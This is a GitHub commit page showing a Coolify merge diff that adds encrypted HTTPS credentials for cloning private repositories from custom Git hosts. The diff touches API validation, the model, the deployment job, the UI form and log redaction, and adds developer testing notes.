mirror of
https://github.com/coollabsio/coolify.git
synced 2026-11-06 13:10:37 -04:00
Merge remote-tracking branch 'origin/next' into automation/sync-main-to-next
This commit is contained in:
@@ -17,10 +17,12 @@
|
||||
- Redirect browser test output to a file (`> /tmp/x.log 2>&1`); piping it (`| tail`) hangs because the Playwright server keeps the pipe open.
|
||||
- Browser `click()`/`assertSee()` wait forever when nothing matches, so a bad selector hangs the run instead of failing it. `click('Text')` can match a hidden element first (use `button:visible:has-text("Text")`); `:text-is()` on an element with child elements and `assertSee()` text with double quotes never match. Prefer plain CSS selectors.
|
||||
- A new worktree has no `vendor/` or `public/build/`. Run `composer install --ignore-platform-req=ext-zip` on the host and copy `public/build` from the main checkout before page-rendering tests; otherwise they fail with a Vite manifest error.
|
||||
- A dev deployment that stays `in_progress` with no log lines and no `horizon_job_id` is waiting in a queue that Horizon does not serve. With `SELF_HOSTED=false` in `.env`, deployments go to the cloud `deployments` queue; run `./scripts/dev exec php artisan queue:work redis --queue=deployments --once` or fix the env.
|
||||
- Never run `php artisan test` inside a dev container (`./scripts/dev exec` or `docker exec coolify-dev-*`). The container sets `DB_CONNECTION=pgsql` as a real environment variable, which wins over `phpunit.xml`, so `RefreshDatabase` runs `migrate:fresh` on the dev database and wipes it. Run tests on the host only.
|
||||
- The helper image runs `docker compose` for deployments and for the Coolify upgrade itself. Before you bump its Docker CLI or Compose, test them against the oldest supported Docker Engine (for example a `docker:<version>-dind` container); newer clients can reject data from older daemons.
|
||||
- Do not symlink `vendor` into another worktree. Composer resolves the base path from the real `vendor` path, so the tests load the app classes of the other checkout. Run `composer install --ignore-platform-req=ext-zip` in the worktree.
|
||||
- To assert that the unsaved-changes bar shows, check `el.classList.contains('is-dirty')`. Playwright treats the hidden bar (`opacity-0`) as visible, and its class attribute always contains the text `is-dirty` from Tailwind variants.
|
||||
- In browser tests, address `x-forms.input` fields by `name` (`type('fieldName', ...)`); its HTML `id` is not always the Livewire property, so `#property` waits forever.
|
||||
- Do not call `sleep()` in a browser test. The app server runs in the test process, so `sleep()` stops it; use `$page->wait()`.
|
||||
- In tests, turning on `is_metrics_enabled` (and other Sentinel settings) with `save()`/`update()` runs the settings hook, which starts Sentinel over a real SSH connection on the sync queue. Use `saveQuietly()` or `Queue::fake()`.
|
||||
- Call `visit()` directly in each `tests/v4/Browser` test body; Pest does not mark a test that only uses helper-wrapped `visit()` as a browser test, so it fails with `sendText() on null`.
|
||||
|
||||
@@ -375,6 +375,8 @@ class ApplicationsController extends Controller
|
||||
'environment_uuid' => ['type' => 'string', 'description' => 'The environment UUID. You need to provide at least one of environment_name or environment_uuid.'],
|
||||
'git_repository' => ['type' => 'string', 'description' => 'The git repository URL.'],
|
||||
'git_branch' => ['type' => 'string', 'description' => 'The git branch.'],
|
||||
'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host (not github.com).'],
|
||||
'git_https_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned.'],
|
||||
'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'],
|
||||
'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'],
|
||||
'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'],
|
||||
@@ -1337,7 +1339,7 @@ class ApplicationsController extends Controller
|
||||
if ($return instanceof JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS];
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'git_https_username', 'git_https_password', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS];
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'name' => 'string|max:255',
|
||||
@@ -1372,6 +1374,13 @@ class ApplicationsController extends Controller
|
||||
], 422);
|
||||
}
|
||||
|
||||
if ($type !== 'public' && $request->hasAny(['git_https_username', 'git_https_password'])) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['git_https_password' => 'HTTPS credentials can only be used with a public or custom Git host repository (POST /applications/public).'],
|
||||
], 422);
|
||||
}
|
||||
|
||||
if ($request->filled('docker_compose_raw')) {
|
||||
try {
|
||||
if (! is_string($request->input('docker_compose_raw'))) {
|
||||
@@ -1641,6 +1650,20 @@ class ApplicationsController extends Controller
|
||||
}
|
||||
$repository_url_parsed = Url::fromString($gitRepository);
|
||||
$git_host = $repository_url_parsed->getHost();
|
||||
if ($request->filled('git_https_password')) {
|
||||
if ($git_host === 'github.com') {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['git_https_password' => 'HTTPS credentials are not used for github.com. Use a GitHub App (POST /applications/private-github-app) for a private GitHub repository.'],
|
||||
], 422);
|
||||
}
|
||||
$application->git_https_password = $request->input('git_https_password');
|
||||
} elseif ($request->filled('git_https_username')) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['git_https_password' => 'The git_https_password is required with git_https_username.'],
|
||||
], 422);
|
||||
}
|
||||
if ($git_host === 'github.com') {
|
||||
$application->source_type = GithubApp::class;
|
||||
$application->source_id = GithubApp::find(0)->id;
|
||||
@@ -3154,6 +3177,8 @@ class ApplicationsController extends Controller
|
||||
'github_app_uuid' => ['type' => 'string', 'description' => 'The Github App UUID.'],
|
||||
'git_repository' => ['type' => 'string', 'description' => 'The git repository URL.'],
|
||||
'git_branch' => ['type' => 'string', 'description' => 'The git branch.'],
|
||||
'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host. Send null to remove it.'],
|
||||
'git_https_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials.'],
|
||||
'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'],
|
||||
'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'],
|
||||
'name' => ['type' => 'string', 'description' => 'The application name.'],
|
||||
@@ -3360,7 +3385,7 @@ class ApplicationsController extends Controller
|
||||
$dnsCleanup = app(ManagedDnsRecordCleanup::class);
|
||||
$previousDnsHostnames = $dnsCleanup->hostnamesOf($application);
|
||||
$server = $application->destination->server;
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', 'github_app_uuid', 'dockerfile', ...self::APPLICATION_SETTING_FIELDS];
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'git_https_username', 'git_https_password', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', 'github_app_uuid', 'dockerfile', ...self::APPLICATION_SETTING_FIELDS];
|
||||
|
||||
$validationRules = [
|
||||
'name' => 'string|max:255',
|
||||
@@ -3505,6 +3530,21 @@ class ApplicationsController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
if ($request->hasAny(['git_https_username', 'git_https_password'])) {
|
||||
if ($application->deploymentType() !== 'other') {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['git_https_password' => 'HTTPS credentials can only be used by applications that clone a repository without a Git source or deploy key.'],
|
||||
], 422);
|
||||
}
|
||||
if ($request->filled('git_https_username') && ! $request->filled('git_https_password') && blank($application->git_https_password)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['git_https_password' => 'The git_https_password is required with git_https_username.'],
|
||||
], 422);
|
||||
}
|
||||
}
|
||||
|
||||
$applicationSettings = $this->applicationSettingsFromRequest($request);
|
||||
if ($prefixValidation = $this->containerNamePrefixValidationResponse($applicationSettings, $application->destination->server, $application)) {
|
||||
return $prefixValidation;
|
||||
@@ -3764,6 +3804,12 @@ class ApplicationsController extends Controller
|
||||
$requestHasNoindexDomains = $request->has('noindex_domains');
|
||||
data_forget($data, 'noindex_domains');
|
||||
$application->fill($data);
|
||||
if ($request->exists('git_https_password')) {
|
||||
$application->git_https_password = $request->filled('git_https_password') ? $request->input('git_https_password') : null;
|
||||
if (blank($application->git_https_password)) {
|
||||
$application->git_https_username = null;
|
||||
}
|
||||
}
|
||||
if ($githubApp && ($application->source_id !== $githubApp->id || $application->source_type !== $githubApp->getMorphClass())) {
|
||||
$application->source_id = $githubApp->id;
|
||||
$application->source_type = $githubApp->getMorphClass();
|
||||
|
||||
@@ -3103,7 +3103,10 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
||||
$sshCommand .= " -i {$identityFile} -o IdentitiesOnly=yes";
|
||||
}
|
||||
|
||||
return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef);
|
||||
$gitConfigOption = $this->application->gitHttpsCredentialConfigOption();
|
||||
$gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git';
|
||||
|
||||
return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef);
|
||||
}
|
||||
|
||||
private function check_git_if_build_needed()
|
||||
|
||||
@@ -9,6 +9,7 @@ use App\Models\GitlabApp;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Rules\ValidGitBranch;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Attributes\Validate;
|
||||
use Livewire\Component;
|
||||
@@ -40,6 +41,18 @@ class Source extends Component
|
||||
#[Locked]
|
||||
public $sources;
|
||||
|
||||
#[Validate(['nullable', 'string', 'max:255', 'regex:/^[^:\r\n]*$/'])]
|
||||
public ?string $gitHttpsUsername = null;
|
||||
|
||||
/**
|
||||
* Write-only: the saved password or token is never sent to the browser.
|
||||
*/
|
||||
#[Validate(['nullable', 'string', 'max:2048', 'regex:/^[^\r\n]*$/'])]
|
||||
public ?string $gitHttpsPassword = null;
|
||||
|
||||
#[Locked]
|
||||
public bool $hasGitHttpsPassword = false;
|
||||
|
||||
public function mount()
|
||||
{
|
||||
try {
|
||||
@@ -70,12 +83,19 @@ class Source extends Component
|
||||
{
|
||||
if ($toModel) {
|
||||
$this->validate();
|
||||
$this->application->update([
|
||||
$this->application->fill([
|
||||
'git_repository' => $this->gitRepository,
|
||||
'git_branch' => $this->gitBranch,
|
||||
'git_commit_sha' => $this->gitCommitSha,
|
||||
'private_key_id' => $this->privateKeyId,
|
||||
]);
|
||||
if (filled($this->gitHttpsPassword)) {
|
||||
$this->application->git_https_username = $this->gitHttpsUsername;
|
||||
$this->application->git_https_password = $this->gitHttpsPassword;
|
||||
} elseif ($this->hasGitHttpsPassword) {
|
||||
$this->application->git_https_username = $this->gitHttpsUsername;
|
||||
}
|
||||
$this->application->save();
|
||||
// Refresh to get the trimmed values from the model
|
||||
$this->application->refresh();
|
||||
$this->syncData(false);
|
||||
@@ -85,6 +105,9 @@ class Source extends Component
|
||||
$this->gitCommitSha = $this->application->git_commit_sha;
|
||||
$this->privateKeyId = $this->application->private_key_id;
|
||||
$this->privateKeyName = data_get($this->application, 'private_key.name');
|
||||
$this->gitHttpsUsername = $this->application->git_https_username;
|
||||
$this->gitHttpsPassword = null;
|
||||
$this->hasGitHttpsPassword = filled($this->application->git_https_password);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -138,6 +161,9 @@ class Source extends Component
|
||||
if (str($this->gitCommitSha)->isEmpty()) {
|
||||
$this->gitCommitSha = 'HEAD';
|
||||
}
|
||||
if (filled($this->gitHttpsUsername) && blank($this->gitHttpsPassword) && ! $this->hasGitHttpsPassword) {
|
||||
throw ValidationException::withMessages(['gitHttpsPassword' => 'Enter the password or token for this username.']);
|
||||
}
|
||||
$this->syncData(true);
|
||||
$this->dispatch('success', 'Application source updated!');
|
||||
$this->dispatch('configurationChanged');
|
||||
@@ -146,6 +172,22 @@ class Source extends Component
|
||||
}
|
||||
}
|
||||
|
||||
public function removeGitHttpsCredential()
|
||||
{
|
||||
try {
|
||||
$this->authorize('update', $this->application);
|
||||
$this->application->forceFill([
|
||||
'git_https_username' => null,
|
||||
'git_https_password' => null,
|
||||
])->save();
|
||||
$this->syncData();
|
||||
$this->dispatch('success', 'HTTPS credentials removed.');
|
||||
$this->dispatch('configurationChanged');
|
||||
} catch (\Throwable $e) {
|
||||
return handleError($e, $this);
|
||||
}
|
||||
}
|
||||
|
||||
public function changeSource($sourceId, $sourceType)
|
||||
{
|
||||
try {
|
||||
|
||||
@@ -361,6 +361,11 @@ class LogDrains extends Component
|
||||
'logDrainCloudwatchGroup' => ['required', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'],
|
||||
'logDrainCloudwatchStreamPrefix' => ['string', 'nullable', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'],
|
||||
]),
|
||||
'cloudwatch' => $this->validate([
|
||||
'logDrainCloudwatchRegion' => ['required', 'max:64', 'regex:/^[a-z]{2}(-[a-z]+)+-\d+$/'],
|
||||
'logDrainCloudwatchGroup' => ['required', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'],
|
||||
'logDrainCloudwatchStreamPrefix' => ['string', 'nullable', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'],
|
||||
]),
|
||||
default => throw new \InvalidArgumentException('Unknown log drain type.'),
|
||||
};
|
||||
}
|
||||
|
||||
@@ -46,7 +46,7 @@ trait BuildsResponse
|
||||
'clickhouse_admin_password',
|
||||
|
||||
// app/env secrets
|
||||
'value', 'real_value', 'http_basic_auth_password',
|
||||
'value', 'real_value', 'http_basic_auth_password', 'git_https_password',
|
||||
|
||||
// free-form commands / configurations can embed credentials
|
||||
'git_full_url',
|
||||
|
||||
@@ -54,6 +54,7 @@ use Symfony\Component\Yaml\Yaml;
|
||||
'git_branch' => ['type' => 'string', 'description' => 'Git branch.'],
|
||||
'git_commit_sha' => ['type' => 'string', 'description' => 'Git commit SHA.'],
|
||||
'git_full_url' => ['type' => 'string', 'nullable' => true, 'description' => 'Git full URL.'],
|
||||
'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned.'],
|
||||
'docker_registry_image_name' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image name.'],
|
||||
'docker_registry_image_tag' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image tag.'],
|
||||
'build_pack' => ['type' => 'string', 'description' => 'Build pack.', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose']],
|
||||
@@ -160,6 +161,8 @@ class Application extends BaseModel
|
||||
'git_branch',
|
||||
'git_commit_sha',
|
||||
'git_full_url',
|
||||
'git_https_username',
|
||||
'git_https_password',
|
||||
'docker_registry_image_name',
|
||||
'docker_registry_image_tag',
|
||||
'build_pack',
|
||||
@@ -262,6 +265,7 @@ class Application extends BaseModel
|
||||
*/
|
||||
protected $hidden = [
|
||||
'http_basic_auth_password',
|
||||
'git_https_password',
|
||||
'manual_webhook_secret_github',
|
||||
'manual_webhook_secret_gitlab',
|
||||
'manual_webhook_secret_bitbucket',
|
||||
@@ -278,6 +282,7 @@ class Application extends BaseModel
|
||||
{
|
||||
return [
|
||||
'http_basic_auth_password' => 'encrypted',
|
||||
'git_https_password' => 'encrypted',
|
||||
'http_basic_auth_hash_algorithm' => HttpBasicAuthHashAlgorithm::class,
|
||||
'manual_webhook_secret_github' => 'encrypted',
|
||||
'manual_webhook_secret_gitlab' => 'encrypted',
|
||||
@@ -1801,6 +1806,10 @@ class Application extends BaseModel
|
||||
if ($this->deploymentType() === 'other') {
|
||||
$fullRepoUrl = $customRepository;
|
||||
$escapedCustomRepository = escapeshellarg($customRepository);
|
||||
$gitConfigOption = $this->gitHttpsCredentialConfigOption();
|
||||
if ($gitConfigOption) {
|
||||
$base_command = "git {$gitConfigOption} ls-remote";
|
||||
}
|
||||
$base_command = "{$base_command} {$escapedCustomRepository}";
|
||||
|
||||
if ($exec_in_docker) {
|
||||
@@ -1817,6 +1826,53 @@ class Application extends BaseModel
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Tells if the application clones a private repository from a custom Git host over HTTP(S) with a username and a password or token.
|
||||
*/
|
||||
public function usesGitHttpsCredential(): bool
|
||||
{
|
||||
return filled($this->git_https_password)
|
||||
&& $this->deploymentType() === 'other'
|
||||
&& $this->gitHttpsCredentialOrigin() !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The value of the Basic auth header for the HTTPS credential, also used to redact it from logs.
|
||||
*/
|
||||
public function gitHttpsCredentialBasicToken(): ?string
|
||||
{
|
||||
if (blank($this->git_https_password)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return base64_encode(($this->git_https_username ?? '').':'.$this->git_https_password);
|
||||
}
|
||||
|
||||
/**
|
||||
* A `git -c` option that sends the HTTPS credential as a Basic auth header, only to the host of the repository.
|
||||
* Git does not save `-c` options in .git/config, and it passes them on to submodule and Git LFS commands.
|
||||
*/
|
||||
public function gitHttpsCredentialConfigOption(): ?string
|
||||
{
|
||||
if (! $this->usesGitHttpsCredential()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return '-c '.escapeshellarg("http.{$this->gitHttpsCredentialOrigin()}.extraHeader=Authorization: Basic {$this->gitHttpsCredentialBasicToken()}");
|
||||
}
|
||||
|
||||
private function gitHttpsCredentialOrigin(): ?string
|
||||
{
|
||||
$url = parse_url((string) $this->git_repository);
|
||||
$scheme = strtolower($url['scheme'] ?? '');
|
||||
if (! in_array($scheme, ['http', 'https'], true) || blank($url['host'] ?? null)) {
|
||||
return null;
|
||||
}
|
||||
$port = isset($url['port']) ? ":{$url['port']}" : '';
|
||||
|
||||
return "{$scheme}://{$url['host']}{$port}/";
|
||||
}
|
||||
|
||||
private function gitCommand(string $command): array
|
||||
{
|
||||
return [
|
||||
@@ -2123,8 +2179,11 @@ class Application extends BaseModel
|
||||
if ($this->deploymentType() === 'other') {
|
||||
$fullRepoUrl = $customRepository;
|
||||
$escapedCustomRepository = escapeshellarg($customRepository);
|
||||
$gitConfigOption = $this->gitHttpsCredentialConfigOption();
|
||||
$gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git';
|
||||
$git_clone_command = str_replace('git clone', "{$gitCommand} clone", $git_clone_command);
|
||||
$git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}";
|
||||
$git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout);
|
||||
$git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout);
|
||||
$otherSshCommand = "ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa";
|
||||
|
||||
if ($pull_request_id !== 0) {
|
||||
@@ -2135,7 +2194,7 @@ class Application extends BaseModel
|
||||
} else {
|
||||
$commands->push($this->gitCommand("echo 'Checking out $branch'"));
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOption);
|
||||
} elseif ($git_type === 'github' || $git_type === 'gitea') {
|
||||
$branch = "pull/{$pull_request_id}/head:$pr_branch_name";
|
||||
if ($exec_in_docker) {
|
||||
@@ -2143,14 +2202,14 @@ class Application extends BaseModel
|
||||
} else {
|
||||
$commands->push($this->gitCommand("echo 'Checking out $branch'"));
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOption);
|
||||
} elseif ($git_type === 'bitbucket') {
|
||||
if ($exec_in_docker) {
|
||||
$commands->push($this->gitCommand(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")));
|
||||
} else {
|
||||
$commands->push($this->gitCommand("echo 'Checking out $branch'"));
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand, $gitConfigOption);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -462,6 +462,11 @@ class EnvironmentVariable extends BaseModel
|
||||
}
|
||||
}
|
||||
|
||||
if ($resource instanceof Application && filled($resource->git_https_password)) {
|
||||
$secrets['locked'][] = $resource->git_https_password;
|
||||
$secrets['locked'][] = $resource->gitHttpsCredentialBasicToken();
|
||||
}
|
||||
|
||||
$variables = collect($isDatabase ? $resource->runtime_environment_variables : $resource->environment_variables);
|
||||
if ($includePreview && $resource instanceof Application) {
|
||||
$variables = $variables->merge($resource->environment_variables_preview ?? []);
|
||||
|
||||
@@ -900,6 +900,7 @@ class ServerTransferExporter
|
||||
// Ensure hidden encrypted fields are included as plaintext.
|
||||
foreach ([
|
||||
'http_basic_auth_password',
|
||||
'git_https_password',
|
||||
'manual_webhook_secret_github',
|
||||
'manual_webhook_secret_gitlab',
|
||||
'manual_webhook_secret_bitbucket',
|
||||
|
||||
@@ -189,6 +189,8 @@ function sharedDataApplications(?Application $application = null): array
|
||||
return [
|
||||
'git_repository' => 'string',
|
||||
'git_branch' => ['string', new ValidGitBranch],
|
||||
'git_https_username' => ['string', 'nullable', 'max:255', 'regex:/^[^:\r\n]*$/'],
|
||||
'git_https_password' => ['string', 'nullable', 'max:2048', 'regex:/^[^\r\n]*$/'],
|
||||
'build_pack' => Rule::enum(BuildPackTypes::class),
|
||||
'is_static' => 'boolean',
|
||||
